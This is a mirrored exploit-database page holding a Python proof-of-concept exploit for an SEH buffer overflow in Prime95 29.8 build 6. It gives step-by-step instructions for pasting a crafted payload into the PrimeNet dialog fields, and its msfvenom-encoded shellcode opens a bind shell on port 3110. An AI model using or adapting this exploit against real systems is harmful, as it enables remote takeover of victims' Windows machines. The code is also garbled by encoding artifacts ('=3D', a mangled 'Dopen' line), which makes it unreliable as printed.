Prime95 Version 29.8 build 6 – Buffer Overflow (SEH)

  • 作者: stresser
    日期: 2019-12-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47802/
  • # Exploit Title: Prime95 Version 29.8 build 6 - Buffer Overflow (SEH)
    # Date: 2019-12-22
    # Vendor Homepage: https://www.mersenne.org
    # Software Link: http://www.mersenne.org/ftp_root/gimps/p95v298b6.win32.zip
    # Exploit Author: Achilles
    # Tested Version: 29.8 build 6
    # Tested on: Windows 7 x64
    
    # 1.- Run python code:Prime95.py
    # 2.- Open EVIL.txt and copy content to Clipboard
    # 3.- Open Prime95.exe go to PrimeNet
    # 4.- Paste the Content of EVIL.txt into the field "Optional User ID and Optional Computer Name"
    # 5.- Click Connection Paste the Content of EVIL.txt into the field "Option al proxy Host"
    # 6.- Press ok Twice and you will have a bind shell port 3110
    # 7.- Greetings go:XiDreamzzXi,Metatron
    
    #!/usr/bin/env python
    
    import struct
    
    buffer =3D "\x41" * 660
    nseh =3D "\xeb\x06\x90\x90" #jmp short 6
    seh=3Dstruct.pack('<L',0x6ee410b1) #libhwloc-15.dll
    nops =3D"\x90" * 20
    
    #msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=3110 -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -i 1 -f python
    #badchars "\x00\x0a\x0d"
    shellcode =3D ("\xb8\xf4\xc0\x2a\xd0\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b"=20
    "\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc\x03\xb6\xce\xc8"
    "\x25\xca\x27\x8e\xc6\x32\xb8\xef\x4f\xd7\x89\x2f\x2b"
    "\x9c\xba\x9f\x3f\xf0\x36\x6b\x6d\xe0\xcd\x19\xba\x07"
    "\x65\x97\x9c\x26\x76\x84\xdd\x29\xf4\xd7\x31\x89\xc5"
    "\x17\x44\xc8\x02\x45\xa5\x98\xdb\x01\x18\x0c\x6f\x5f"
    "\xa1\xa7\x23\x71\xa1\x54\xf3\x70\x80\xcb\x8f\x2a\x02"
    "\xea\x5c\x47\x0b\xf4\x81\x62\xc5\x8f\x72\x18\xd4\x59"
    "\x4b\xe1\x7b\xa4\x63\x10\x85\xe1\x44\xcb\xf0\x1b\xb7"
    "\x76\x03\xd8\xc5\xac\x86\xfa\x6e\x26\x30\x26\x8e\xeb"
    "\xa7\xad\x9c\x40\xa3\xe9\x80\x57\x60\x82\xbd\xdc\x87"
    "\x44\x34\xa6\xa3\x40\x1c\x7c\xcd\xd1\xf8\xd3\xf2\x01"
    "\xa3\x8c\x56\x4a\x4e\xd8\xea\x11\x07\x2d\xc7\xa9\xd7"
    "\x39\x50\xda\xe5\xe6\xca\x74\x46\x6e\xd5\x83\xa9\x45"
    "\xa1\x1b\x54\x66\xd2\x32\x93\x32\x82\x2c\x32\x3b\x49"
    "\xac\xbb\xee\xe4\xa4\x1a\x41\x1b\x49\xdc\x31\x9b\xe1"
    "\xb5\x5b\x14\xde\xa6\x63\xfe\x77\x4e\x9e\x01\x7b\xa9"
    "\x17\xe7\xe9\xa5\x71\xbf\x85\x07\xa6\x08\x32\x77\x8c"
    "\x20\xd4\x30\xc6\xf7\xdb\xc0\xcc\x5f\x4b\x4b\x03\x64"
    "\x6a\x4c\x0e\xcc\xfb\xdb\xc4\x9d\x4e\x7d\xd8\xb7\x38"
    "\x1e\x4b\x5c\xb8\x69\x70\xcb\xef\x3e\x46\x02\x65\xd3"
    "\xf1\xbc\x9b\x2e\x67\x86\x1f\xf5\x54\x09\x9e\x78\xe0"
    "\x2d\xb0\x44\xe9\x69\xe4\x18\xbc\x27\x52\xdf\x16\x86"
    "\x0c\x89\xc5\x40\xd8\x4c\x26\x53\x9e\x50\x63\x25\x7e"
    "\xe0\xda\x70\x81\xcd\x8a\x74\xfa\x33\x2b\x7a\xd1\xf7"
    "\x5b\x31\x7b\x51\xf4\x9c\xee\xe3\x99\x1e\xc5\x20\xa4"
    "\x9c\xef\xd8\x53\xbc\x9a\xdd\x18\x7a\x77\xac\x31\xef"
    "\x77\x03\x31\x3a")
    payload =3D buffer + nseh + seh + nops + shellcode
    
    try:
    Dopen("Evil.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
    except:
    print "File cannot be created"